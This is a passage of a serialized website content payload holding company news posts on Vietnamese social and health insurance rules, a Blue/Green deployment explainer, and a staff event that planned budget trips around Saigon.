age.",[11,2413,2414],{},[20,2415,1696],{},[203,2417,2418,2425,2432],{},[34,2419,2420],{},[55,2421,2424],{"href":2422,"rel":2423},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-quyet-93-2015-QH13-thuc-hien-chinh-sach-huong-bao-hiem-xa-hoi-mot-lan-doi-voi-nguoi-lao-dong-282360.aspx?tab=7",[59],"Resolution 93\u002F2015\u002FQH13",[34,2426,2427],{},[55,2428,2431],{"href":2429,"rel":2430},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-dinh-115-2015-ND-CP-huong-dan-Luat-bao-hiem-xa-hoi-bat-buoc-279974.aspx",[59],"Decree 115\u002F2015\u002FND-CP",[34,2433,2434],{},[55,2435,2438],{"href":2436,"rel":2437},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FLuat-Bao-hiem-xa-hoi-2014-259700.aspx",[59],"Law on Social insurance",{"title":66,"searchDepth":67,"depth":67,"links":2440},[],"2021-08-09","Currently, the Covid-19 pandemic has negatively impacted the whole society, including the mass loss of jobs. When the stable monthly income source was lost, many people chose to receive the one-time social insurance benefit. So, in case the employees quit their job and enjoy the one-time social insurance benefit, when they join a new company and pay social insurance from zero, will the employee still receive the social insurance allowance again?",{},"\u002Fnews\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong",{"title":2374,"description":2442},"news\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F07\u002F20131502\u002FBHXHMotLanCoTheNhanNhieuLanKhong.png","MS3d9H6W6yF10OEldk3etTbjcGiU17xOY1fdq8mpacc",{"id":2450,"title":2451,"body":2452,"category":69,"created by":70,"date":2544,"description":2545,"extension":72,"meta":2546,"navigation":74,"path":2547,"sections":76,"seo":2548,"stem":2549,"thumbnail":2550,"__hash__":2551},"content_en\u002Fnews\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi.md","VIETNAM SOCIAL SECURITY ISSUES A NEW HEALTH INSURANCE CARD",{"type":8,"value":2453,"toc":2542},[2454,2457,2461,2470,2475,2478,2507,2511,2515,2520,2528,2531,2535],[11,2455,2456],{},"On December 3rd, 2020, the General Director of Vietnam Social Security signed Decision No. 1666 \u002F QD-BHXH promulgating the form of health insurance card for using nationwide. This Decision takes effect from April 1st, 2021.",[438,2458],{"className":2459,"alt":66,"src":2460,"style":506},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F20133000\u002FM%E1%BA%B7t-tr%C6%B0%E1%BB%9Bc-300x194.png",[11,2462,2469],{"className":2463},[2464,2465,2466,2467,2468],"text-center","text-sm","text-black","italic","-mt-2","\n  The front of the new health insurance card template\n",[11,2471,2472],{},[20,2473,2474],{},"1. Add more gadgets",[11,2476,2477],{},"Compared with the current model of health insurance card, the new model has many differences that bring many benefits to the participants, specifically:",[31,2479,2480,2483,2486,2489,2501,2504],{},[34,2481,2482],{},"The size of the card is more compact, the appearance is better (the size is the same as that of a citizen's identity card and some ATM cards today), convenient to keep and fit in the wallet.",[34,2484,2485],{},"The paper weight of the card is thicker and is covered with plastic: it helps increase the durability and hardness of the card, meets the requirements of long-term preservation, avoids water, moisture, mold, crumbling, tearing, translucent ink when using.",[34,2487,2488],{},"Change the font: clearly, easy to read, easy to check, and limit errors in the information printed on the card.",[34,2490,2491,2492,2496,2497,1673],{},"The new card number is 10 characters of the participant's social insurance code (replacing the 15 characters of the current health insurance card number). Purpose: to reduce the number of characters the participant needs to declare when looking up on the Vietnam Social Security Portal (",[55,2493,2494],{"href":2494,"rel":2495},"http:\u002F\u002Fbaohiemxahoi.gov.vn",[59],") or when checking on the Public Service Portal of Vietnam Social Security (",[55,2498,2499],{"href":2499,"rel":2500},"https:\u002F\u002Fdichvucong.baohiemxahoi.gov.vn",[59],[34,2502,2503],{},"The new card model uses session signs of Vietnam Social Security and the scanned signature of the Head of the Contribution Collection - Insurance Book and Card Department (or the head of the unit under the social insurance authority assigned by the General Director of Vietnam Social Security to sign the order) helps the participant to conveniently carry out the procedures for re-issuance or change of card due to the loss or damage of the card at any social insurance agency nationwide.",[34,2505,2506],{},"The back of the new card model has more instructions on how to use the health insurance card, helping the participants know how to look up information about the health insurance card and their benefits. Understand how to contact the social insurance agency for guidance and support all difficulties related to the card and card usage.",[438,2508],{"className":2509,"alt":66,"src":2510,"style":506},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F20133000\u002FM%E1%BA%B7t-sau-300x193.png",[11,2512,2514],{"className":2513},[2464,2465,2466,2467,2468],"\n  The back of the new health insurance card template\n",[11,2516,2517],{},[20,2518,2519],{},"2. The current health insurance card is still valid and continues to be used for medical treatment",[31,2521,2522,2525],{},[34,2523,2524],{},"The health insurance card issued is still valid and used for medical examination and treatment under health insurance normally.",[34,2526,2527],{},"Beside the entitlement code and the code where the person lives is still printed on the new model health insurance card, from April 1, 2021, when doing a lookup on the portal of the Health Insurance Inspection Information System and the Portal Online Vietnam Social Security, employees can know more information as follows:-> Other management information such as: code of the person who pays health insurance, address of residence, ... of the participant.",[11,2529,2530],{},"➜ The period of exemption from co-payment within the scope of health insurance benefits when going for medical care at the right level (when the participant has been determined by the social insurance agency to have full 5 years of continuous health insurance participation and has the amount of payment for medical care costs for the year greater than 6 months base salary).",[11,2532,2533,212],{},[20,2534,201],{},[11,2536,2537],{},[55,2538,2541],{"href":2539,"rel":2540},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbao-hiem\u002FQuyet-dinh-1666-QD-BHXH-2020-mau-the-bao-hiem-y-te-458650.aspx",[59],"Decision on Issuing model of health insurance card",{"title":66,"searchDepth":67,"depth":67,"links":2543},[],"2021-03-05","On December 3rd, 2020, the General Director of Vietnam Social Security signed Decision No. 1666 \u002F QD-BHXH promulgating the form of health insurance card for using nationwide. This Decision takes effect from April 1st, 2021. The front of the new health insurance card template   1. Add more gadgets Compared with the current model of health insurance card, the new model has many differences that bring many benefits to the participants",{},"\u002Fnews\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi",{"title":2451,"description":2545},"news\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F15143126\u002FBNXHVN-ban-h%C3%A0nh-m%E1%BA%ABu-th%E1%BA%BB-BHYT-m%E1%BB%9Bi.png","uJMjrtagewIvVTlnpRCG2lwh7pbcXHzqQcQzMqOfn8c",{"id":2553,"title":2554,"body":2555,"category":69,"created by":70,"date":2620,"description":2621,"extension":72,"meta":2622,"navigation":74,"path":2623,"sections":76,"seo":2624,"stem":2625,"thumbnail":2626,"__hash__":2627},"content_en\u002Fnews\u002Fbi-nhiem-covid-19-nguoi-lao-dong-co-duoc-nhan-bao-hiem-xa-hoi-1-lan.md","INFECTED WITH COVID-19, CAN THE EMPLOYEE RECEIVE ONE-TIME SOCIAL INSURANCE?",{"type":8,"value":2556,"toc":2618},[2557,2562,2567,2570,2591,2594,2597,2601,2609],[11,2558,2559],{},[20,2560,2561],{},"During the Covid-19 pandemic, the situation is currently quite complicated, surely many workers wonder \"If the employee is unfortunately infected with Covid-19 and forced to quit their job, can employees apply for One-time Social Insurance or not? \"",[11,2563,2564],{},[20,2565,2566],{},"Realizing that the issue received particular attention from employees, Vietnam Social Insurance gave a satisfactory answer as follows:",[11,2568,2569],{},"Pursuant to Point c, Clause 1, Article 60 of the Law on Social Insurance 2014 and Article 4 of Circular 56\u002F2017\u002FTT-BYT stipulating the diseases are entitled to one-time social insurance, including:",[765,2571,2573,2576,2579,2582,2585,2588],{"style":2572},"padding-left: 30px",[11,2574,2575],{},"1. Cancer;",[11,2577,2578],{},"2. Disabled;",[11,2580,2581],{},"3. Cirrhosis of the liver;",[11,2583,2584],{},"4. Leprosy, severe tuberculosis;",[11,2586,2587],{},"5. HIV infection has turned to AIDS and cannot self-control or perform the activities of walking, dressing, personal hygiene and other things to serve the needs of daily activities that require complete supervision, assistance and care.",[11,2589,2590],{},"6. Other diseases other than the above mentioned diseases with reduced working capacity or disability degree of 81% or more and cannot self-control or perform the activities of walking, dressing, personal hygiene and other things to serve the needs of daily activities that require complete supervision, assistance and care.",[11,2592,2593],{},"Thus, according to the provisions of item (6), the employee, if infected with Covid-19, leads to a loss of working capacity of 81% or more, cannot self-control or perform the activities of walking, dressing, personal hygiene and other things to serve the needs of daily activities that require complete supervision, assistance and care, are entitled to one-time Social Insurance regime. ",[11,2595,2596],{},"In this case, the Employee needs to have a Record of the working capacity decrease of the Medical Assessment Council showing the working capacity decrease of 81% or more and not self-service. ",[11,2598,2599],{},[51,2600,1696],{},[11,2602,2603],{},[51,2604,2605],{},[55,2606,2608],{"href":2436,"rel":2607},[59],"Point c, Clause 1, Article 60 of the Law on Social Insurance 2014",[11,2610,2611],{},[51,2612,2613],{},[55,2614,2617],{"href":2615,"rel":2616},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FThong-tu-56-2017-TT-BYT-huong-dan-Luat-bao-hiem-xa-hoi-va-Luat-an-toan-ve-sinh-lao-dong-341271.aspx",[59],"Article 4 of Circular 56\u002F2017\u002F TT-BYT",{"title":66,"searchDepth":67,"depth":67,"links":2619},[],"2021-05-14","During the Covid-19 pandemic, the situation is currently quite complicated, surely many workers wonder \"If the employee is unfortunately infected with Covid-19 and forced to quit their job, can employees apply for One-time Social Insurance or not?",{},"\u002Fnews\u002Fbi-nhiem-covid-19-nguoi-lao-dong-co-duoc-nhan-bao-hiem-xa-hoi-1-lan",{"title":2554,"description":2621},"news\u002Fbi-nhiem-covid-19-nguoi-lao-dong-co-duoc-nhan-bao-hiem-xa-hoi-1-lan","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F19164237\u002FBiNhiemCovid19CoDuocNhanBHXH.png","opbu8VHx9xsHFAeiKsUBlphCDJdi8XgjcI9bCz7JM4I",{"id":2629,"title":2630,"body":2631,"category":2866,"created by":2867,"date":2868,"description":2635,"extension":72,"meta":2869,"navigation":74,"path":2870,"sections":76,"seo":2871,"stem":2872,"thumbnail":2873,"__hash__":2874},"content_en\u002Fnews\u002Fblue-green-deployment.md","BLUE\u002FGREEN DEPLOYMENT",{"type":8,"value":2632,"toc":2860},[2633,2636,2639,2651,2654,2657,2661,2664,2678,2681,2701,2704,2707,2721,2725,2728,2731,2734,2764,2768,2771,2791,2795,2799,2813,2817,2831,2836,2842,2848,2854],[11,2634,2635],{},"Hello everyone, my leader assigned me a task, and honestly, I felt a bit depressed when I heard it: “Hey, we’re about to release the new version of application A to production. Could you help me with the deployment?”",[11,2637,2638],{},"The app is already running in production, and just the thought of touching it makes me break out in a cold sweat. I started picturing a not-so-bright scenario:",[765,2640,2642,2645,2648],{"style":2641},"margin-left: 24px;",[11,2643,2644],{},"1. Long downtime causing users to be unable to access the app.",[11,2646,2647],{},"2. What if the deployment fails and the service crashes? Do we need to back up and restore? How long will that take?",[11,2649,2650],{},"3. Even worse, what if we can’t roll back and lose data… I’d probably have to pack my bag and leave for good.",[11,2652,2653],{},"After that I started frantically searching Google with keywords like “how to deploy without downtime,” “zero downtime deployment” and then realized an interesting concept called “Blue\u002FGreen Deployment.”",[11,2655,2656],{},"At first, it was quite confusing, but after a while, I suddenly realized… this was exactly what I had been looking for! Today, I’d like to share this “lifesaver” with you all.",[565,2658,2660],{"id":2659},"_1-what-is-bluegreen-deployment","1. What is Blue\u002FGreen Deployment?",[11,2662,2663],{},"Before introducing Blue\u002FGreen Deployment, let’s take a look at how a traditional deployment process usually works. Suppose we have only one production environment and each time we want to deploy the application, the process typically goes like this:",[765,2665,2666,2669,2672,2675],{"style":2641},[11,2667,2668],{},"1. Notify users about the maintenance window and send an apology message.",[11,2670,2671],{},"2. At the scheduled time, shut down the server. All users are disconnected and see a “503 Error” or a “Maintenance in progress” message on the screen.",[11,2673,2674],{},"3. The development team quickly carries out the deployment process.",[11,2676,2677],{},"4. Restart the server and hope everything runs smoothly without any unexpected errors.",[11,2679,2680],{},"This traditional approach causes several problems:",[31,2682,2683,2689,2695],{},[34,2684,2685,2688],{},[20,2686,2687],{},"Downtime is inevitable:"," Users cannot access the system.",[34,2690,2691,2694],{},[20,2692,2693],{},"High risk of errors:"," If there’s a bug (for example, a payment logic issue), end users will be affected immediately.",[34,2696,2697,2700],{},[20,2698,2699],{},"Difficult rollback:"," When the server encounters an issue and you need to restore the previous version, you must repeat the entire deployment process, it makes another round of downtime.",[11,2702,2703],{},"To address the issues mentioned above, Blue\u002FGreen Deployment was introduced as an optimal solution. To understand, it is a software deployment strategy designed to minimize downtime and risk by using two parallel production environments with identical configurations, called “Blue” and “Green.”",[11,2705,2706],{},"In particular:",[31,2708,2709,2715],{},[34,2710,2711,2714],{},[20,2712,2713],{},"Blue environment:"," The live environment currently serving real users. This represents the stable, running version.",[34,2716,2717,2720],{},[20,2718,2719],{},"Green environment:"," A cloned version of the Blue environment. This is where the new version of the application is deployed and tested without affecting the Blue environment.",[565,2722,2724],{"id":2723},"_2-how-does-bluegreen-deployment-work","2. How does Blue\u002FGreen Deployment work?",[11,2726,2727],{},"Basically, Blue\u002FGreen Deployment operates by running two identical environments in parallel to minimize service downtime. This method duplicates the entire live environment, including servers, virtual machines, containers, configurations, and databases to create a separate but completely identical environment to the current one.",[11,2729,2730],{},"However, Blue\u002FGreen Deployment does not usually require duplicating the entire system. In particular, synchronizing data between two separate databases is highly challenging. Instead, shared components such as the database are often used by both environments. This approach reduces cost and complexity, as long as changes are carefully managed to prevent service disruption.",[11,2732,2733],{},"The deployment process using the Blue\u002FGreen model takes place as follows:",[765,2735,2736,2739,2743,2746,2750,2753,2757,2760],{"style":2641},[11,2737,2738],{},"1. Initially, users are served by the current version running in the Blue environment.",[438,2740],{"className":2741,"alt":66,"src":2742,"style":444},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F07\u002F22100500\u002Fimage2.png",[11,2744,2745],{},"2. Next, the new version of the application is deployed to the Green environment by creating a copy of Blue.",[438,2747],{"className":2748,"alt":66,"src":2749,"style":444},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F07\u002F22100500\u002Fimage1.png",[11,2751,2752],{},"3. Once the Green environment is stable, the router or load balancer is switched to direct traffic to Green. This process reduces downtime to almost zero. After the switch, Green officially becomes the live environment, while Blue serves as a backup, ready to be reactivated if a rollback is needed in case of issues.",[438,2754],{"className":2755,"alt":66,"src":2756,"style":444},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F07\u002F22100500\u002Fimage5.png",[11,2758,2759],{},"4. After monitoring and confirming that Green is operating smoothly, you can either keep the Blue environment as a backup for the next deployment or remove it entirely to lower operational costs and free up infrastructure resources.",[438,2761],{"className":2762,"alt":66,"src":2763,"style":444},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F07\u002F22100500\u002Fimage4.png",[565,2765,2767],{"id":2766},"_3-applications-of-bluegreen-deployment","3. Applications of Blue\u002FGreen Deployment",[11,2769,2770],{},"Blue\u002FGreen Deployment is not only a safe solution for deploying new versions but is also suitable for many critical operational scenarios:",[31,2772,2773,2779,2785],{},[34,2774,2775,2778],{},[20,2776,2777],{},"Application Release:"," This is the most common application, used to deploy new releases of Web applications, APIs, or Microservices. The new version allows for full testing on a copy of the production environment before traffic is switched over.",[34,2780,2781,2784],{},[20,2782,2783],{},"Infrastructure Upgrade:"," Blue\u002FGreen allows for the safe modification of fundamental infrastructure components. This avoids patching or upgrading directly on the environment currently running production traffic.",[34,2786,2787,2790],{},[20,2788,2789],{},"Database Management:"," This is often the most challenging part of the deployment process. Blue\u002FGreen requires a suitable migration strategy to ensure backward compatibility: the Green environment must be able to run with the old schema, and the Blue environment must also tolerate the new schema in case of a rollback. The good news is that many cloud platforms, such as AWS RDS, now support a Blue\u002FGreen mechanism even for database version upgrades (e.g., MySQL 5.7 → 8.0).",[565,2792,2794],{"id":2793},"_4-advantages-and-disadvantages-of-bluegreen-deployment","4. Advantages and Disadvantages of Blue\u002FGreen Deployment",[1693,2796,2798],{"id":2797},"_41-advantages","4.1. Advantages",[31,2800,2801,2807],{},[34,2802,2803,2806],{},[20,2804,2805],{},"Minimized downtime:"," You can deploy upgrades without interrupting service. Users are not affected thanks to traffic being rerouted via the Load Balancer or DNS.",[34,2808,2809,2812],{},[20,2810,2811],{},"Fast and safe rollback:"," If a bug is detected in the new environment, you simply switch the traffic back to the old environment (Blue) immediately.",[1693,2814,2816],{"id":2815},"_42-disadvantages","4.2. Disadvantages",[31,2818,2819,2825],{},[34,2820,2821,2824],{},[20,2822,2823],{},"High infrastructure cost:"," Maintaining two environments with equivalent configurations is required, which results in doubling the resource cost (servers, databases).",[34,2826,2827,2830],{},[20,2828,2829],{},"Complex database management:"," Databases are often shared and hard to isolate. When making major schema changes, the new application version must be designed to be backward compatible.",[11,2832,2833],{},[20,2834,2835],{},"Reference documents:",[11,2837,2838],{},[55,2839,2840],{"href":2840,"rel":2841},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fwhitepapers\u002Flatest\u002Fblue-green-deployments\u002Fintroduction.html",[59],[11,2843,2844],{},[55,2845,2846],{"href":2846,"rel":2847},"https:\u002F\u002Fwww.blazemeter.com\u002Fblog\u002Fblue-green-deployment-testing",[59],[11,2849,2850],{},[55,2851,2852],{"href":2852,"rel":2853},"https:\u002F\u002Fmartinfowler.com\u002Fbliki\u002FBlueGreenDeployment.html",[59],[11,2855,2856],{},[55,2857,2858],{"href":2858,"rel":2859},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonRDS\u002Flatest\u002FUserGuide\u002Fblue-green-deployments-overview.html",[59],{"title":66,"searchDepth":67,"depth":67,"links":2861},[2862,2863,2864,2865],{"id":2659,"depth":1306,"text":2660},{"id":2723,"depth":1306,"text":2724},{"id":2766,"depth":1306,"text":2767},{"id":2793,"depth":1306,"text":2794},[1319],"DUC LE TRI","2026-07-22",{},"\u002Fnews\u002Fblue-green-deployment",{"title":2630,"description":2635},"news\u002Fblue-green-deployment","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F07\u002F22100500\u002Fimage3.png","8WYMZ6aT6mHCY7icn8JBEHZgGF6PEsAlRfmdknaqGUU",{"id":2876,"title":2877,"body":2878,"category":3032,"created by":243,"date":3033,"description":3034,"extension":72,"meta":3035,"navigation":74,"path":3036,"sections":76,"seo":3037,"stem":3038,"thumbnail":3039,"__hash__":3040},"content_en\u002Fnews\u002Fbriswell-vietnam-world-cafe-2022-tour-gia-re-tai-sai-gon.md","Briswell Vietnam World Cafe 2022 - Cheap trip in Saigon",{"type":8,"value":2879,"toc":3030},[2880,2883,2886,2895,2898,2905,2908,2911,2915,2918,2921,2924,2928,2935,2939,2942,2945,2949,2955,2959,2962,2966,2972,2976,2979,2982,2985,2988,2991,2994,2998,3004,3008,3011,3014,3017,3020,3024],[11,2881,2882],{},"It's been a long time since we held a company event at the office.",[11,2884,2885],{},"Many staff is working remotely, and the work environment for employees has improved but decreased the opportunities for casual conversations and questions. That caused difficulties to build relationships compared with before.",[11,2887,2888,2889,2894],{},"In particular, I felt that the distance between new employees and the remote work staff mainly did not shrink much. So we held ",[55,2890,2893],{"href":2891,"rel":2892},"https:\u002F\u002Fmspguide.org\u002F2022\u002F03\u002F18\u002Fworld-cafe\u002F",[59],"\"World Cafe\""," as a company event at the office.",[11,2896,2897],{},"This will be discussed in a team using a brainstorming style along with one theme. However, instead of continuing discussions with the same members, change the members in the second phase to get new ideas. And then the members move back to the original team in the 3rd phase to discuss and brush up.",[11,2899,2900,2901,2904],{},"The theme this time is ",[20,2902,2903],{},"\"A two-day trip with a budget of 1.000.000 VND for foreigners, which is not written in the tour guide\""," We chose a theme that is easy to discuss because the purpose of this event is to improve their communication skills and participants from all departments, including administrators, translators, and developers, join.",[11,2906,2907],{},"The result is below.",[11,2909,2910],{},"For your information, \"1.000.000VND\" is a metaphor for being cheap, and only those who have experienced it know whether \"1.000.000VND\" is really enough or not. We will not compensate for the amount or feasibility, so please do it at your own risk.",[1693,2912,2914],{"id":2913},"team-1-tieu-buu-chau-do-thi-nhu-bich-ngoc-vo-thi-bao-tran-nguyen-thien-anh","Team 1: Tieu Buu Chau - Do Thi Nhu Bich Ngoc - Vo Thi Bao Tran - Nguyen Thien Anh",[11,2916,2917],{},"Welcome to busy and bustling Saigon.",[11,2919,2920],{},"For a 2-day tour, we planned a trip that everyone can admire and be fond of the cultural diversity of Ho Chi Minh City (HCMC). We will enjoy Vietnamese dishes when visiting Pho Hoa, Secret Garden restaurant, Dinh Cong Trang “Banh xeo - Vietnamese pancake” or simply sitting on the sidewalk drinking “Ca phe sua da - Vietnamese iced coffee”. “Dinh Doc Lap - Independence Palace”, “Ben Nha Rong - Nha Rong Wharf” or “Fine Arts Museum” are also on the schedule to explore famous Saigon-styled places. Then we move on to enjoy Chinese cuisine when eating Haidilao hotpot or feel the Chinese cultural life in District 5 when having snacks here or when visiting Thien Hau Pagoda and Binh Tay market. Finally, experience the excitement and luxury of the West when going to Thao Dien area or having dinner at 4P's pizza.",[11,2922,2923],{},"We hope everyone has an unforgettable trip.",[438,2925],{"className":2926,"alt":66,"src":2927,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25182010\u002FTeam1-1-768x576.jpg",[11,2929,2930],{},[55,2931,2934],{"href":2932,"rel":2933},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HUef41S0tdzCCSqCPZU58F3aDdVgPR8d\u002Fview?usp=sharing",[59],"Movie",[1693,2936,2938],{"id":2937},"team-2-nguyen-thanh-huu-tao-viet-ha-nguyen-van-sang-vo-ngoc-duy","Team 2: Nguyen Thanh Huu - Tao Viet Ha - Nguyen Van Sang - Vo Ngoc Duy",[11,2940,2941],{},"When coming to HCMC, tourists will have a lot of exciting experiences, as well as enjoy the special dishes here.",[11,2943,2944],{},"One of the indispensable dishes when coming to HCMC is Pho, Broken Rice, Banh Mi, Bun Bo... Tourists can choose one of all these dishes for breakfast or lunch. In addition to eating, tourists can visit some of the following places to learn more about the Vietnamese people's culture and history: War Museum, Independence Palace, City Post Office... Tourists can go for a night walk at Nguyen Hue Walking Street, can shop at night markets such as Ben Thanh Market, Ba Chieu Market ..., commercial centers: NowZone, Aeon mall... In addition to shopping. and dining, tourists can visit famous entertainment places of the city such as Suoi Tien Theme Park, Dam Sen park ... to experience as well as enjoy the games here.",[438,2946],{"className":2947,"alt":66,"src":2948,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25182253\u002FTeam2-768x576.jpg",[11,2950,2951],{},[55,2952,2934],{"href":2953,"rel":2954},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HVbUiJCD57kpfYzMUhjYKnxfSWVWGn5b\u002Fview?usp=sharing",[59],[1693,2956,2958],{"id":2957},"team-3-chau-lai-gia-thanh-nguyen-van-trung-le-ngoc-khanh-nguyen-huu-danh-long-tran-hao","Team 3: Chau Lai Gia Thanh - Nguyen Van Trung - Le Ngoc Khanh - Nguyen Huu Danh - Long Tran Hao",[11,2960,2961],{},"Being a dynamic and crowded city, stay services are always available for anyone. Finding about history, we can visit museums or discover cultures via sightseeing at antique pagodas. Additionally, you can experience modern styles and go shopping at Landmark 81. Besides that, Vietnamese foods are also unique-style with attractive prices like “cơm tấm”, “bún đậu”, “bún bò Huế“, etc…",[438,2963],{"className":2964,"alt":66,"src":2965,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25183008\u002FTeam3-768x1024.jpg",[11,2967,2968],{},[55,2969,2934],{"href":2970,"rel":2971},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HV6vtwlf6k7Y11EPVGSqDrarkEfLTNtm\u002Fview?usp=sharing",[59],[1693,2973,2975],{"id":2974},"team-4-do-tiep-khuyen-dang-thuy-vy-tran-tien-vinh-pham-huu-duy-dang-minh-dat","Team 4: Do Tiep Khuyen - Dang Thuy Vy - Tran Tien Vinh - Pham Huu Duy - Dang Minh Dat",[11,2977,2978],{},"HCMC is a large area of ​​​​entertainment, shopping, and dining and is very suitable for tourism, especially for foreign tourists. You can come to HCMC any time, especially during Christmas or New Year holidays, because the activities are diversified. But for the best experience, I suggest not to come in the rainy season.",[11,2980,2981],{},"Because the traffic density in HCMC is quite crowded, it is advisable to avoid peak hours. To save money, we can travel by bus, or rent a motorbike or bicycle. Cyclo is also a vehicle that is quite popular with foreign tourists because it is also an interesting vehicle, so try it once.",[11,2983,2984],{},"With a 2-days-1-night trip, I suggest places not to be missed in the morning when you first arrive here, such as visiting Notre Dame Cathedral, the City post office, or amusement parks like Dam Sen, Suoi Tien, and Botanical garden. At night is the time when activities in HCMC take place most excitingly, interesting places can be mentioned such as Nha Rong Wharf, Landmark building if you are a sightseeing person, and night market if you are an enthusiast. Eating. Nguyen Hue Walking Street, known as the \"paradise\" at night in HCMC, is also a place not to be missed.",[11,2986,2987],{},"We can visit historic sites such as Independence Palace and Cu Chi Tunnels on the second day. These places keep a part of the heroic history of the Vietnamese nation.",[11,2989,2990],{},"In addition, this place is also a place where people from all over the country gather, so the cuisine is also vibrant, including \"specialty\" dishes such as bread, pho, beef noodle soup, sticky rice, etc.",[11,2992,2993],{},"Finally, the indispensable part when returning from travel is souvenirs. Small gifts such as coffee, coffee filter, conical hat, and shrimp chips will be significant because they bring many unique characteristics of Vietnam.",[438,2995],{"className":2996,"alt":66,"src":2997,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25183233\u002FTeam4-768x1024.jpg",[11,2999,3000],{},[55,3001,2934],{"href":3002,"rel":3003},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HWNv5UJi6vmz9B9yGPh7BJD_ew0KHbfv\u002Fview?usp=sharing",[59],[1693,3005,3007],{"id":3006},"team-5-nguyen-trung-nghia-nguyen-trung-hieu-nguyen-van-huu-nguyen-thanh-nhan","Team 5: Nguyen Trung Nghia - Nguyen Trung Hieu - Nguyen Van Huu - Nguyen Thanh Nhan",[11,3009,3010],{},"Ho Chi Minh City, also known as Saigon. This is where people from all regions of Vietnam come to make their living, which makes it one of the best places to visit if you want a quick overal look into Vietnamese culture. If you are planning on travelling with a tight budget, then Ho Chi Minh is a perfect place and we have a schedule for a cheap 2-day tour that we would like to recommend to you.",[11,3012,3013],{},"On the first day, you will explore the inner city of Ho Chi Minh City, where there are many stops for you to discover the wonderful Vietnamese street food. Also you can learn more about the heroic culture and history of Vietnam by visiting the war relic buildings, the Independence Palace, ...",[11,3015,3016],{},"It is said that Saigon is truly alive when night time. Let's explore the different rhythm of life from the daytime in Ho Chi Minh.",[11,3018,3019],{},"On the second day you will head out to the suburbs and visit the the Cu Chi Tunnels, to learn more about how the Vietnamese fought during the war. And here, you will also experience Cu Chi cuisine. And there's so much more waiting for you to discover in Ho Chi Minh!",[438,3021],{"className":3022,"alt":66,"src":3023,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25183342\u002FTeam5-768x576.jpg",[11,3025,3026],{},[55,3027,2934],{"href":3028,"rel":3029},"https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1HWc9ooK7ibBvpRv2H5tM9adxm8tv7OJw\u002Fview?usp=sharing",[59],{"title":66,"searchDepth":67,"depth":67,"links":3031},[],"event","2022-08-30","It's been a long time since we held a company event at the office. Many staff is working remotely, and the work environment for employees has improved but decreased the opportunities for casual conversations and questions. That caused difficulties to build relationships compared with before.",{},"\u002Fnews\u002Fbriswell-vietnam-world-cafe-2022-tour-gia-re-tai-sai-gon",{"title":2877,"description":3034},"news\u002Fbriswell-vietnam-world-cafe-2022-tour-gia-re-tai-sai-gon","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F25180149\u002Fdiscussion.jpg","L6VxrQBUYawYGb2nHvvjUtSgt5ArGigOdJg4CwEdxEw",{"id":3042,"title":3043,"body":3044,"category":262,"created 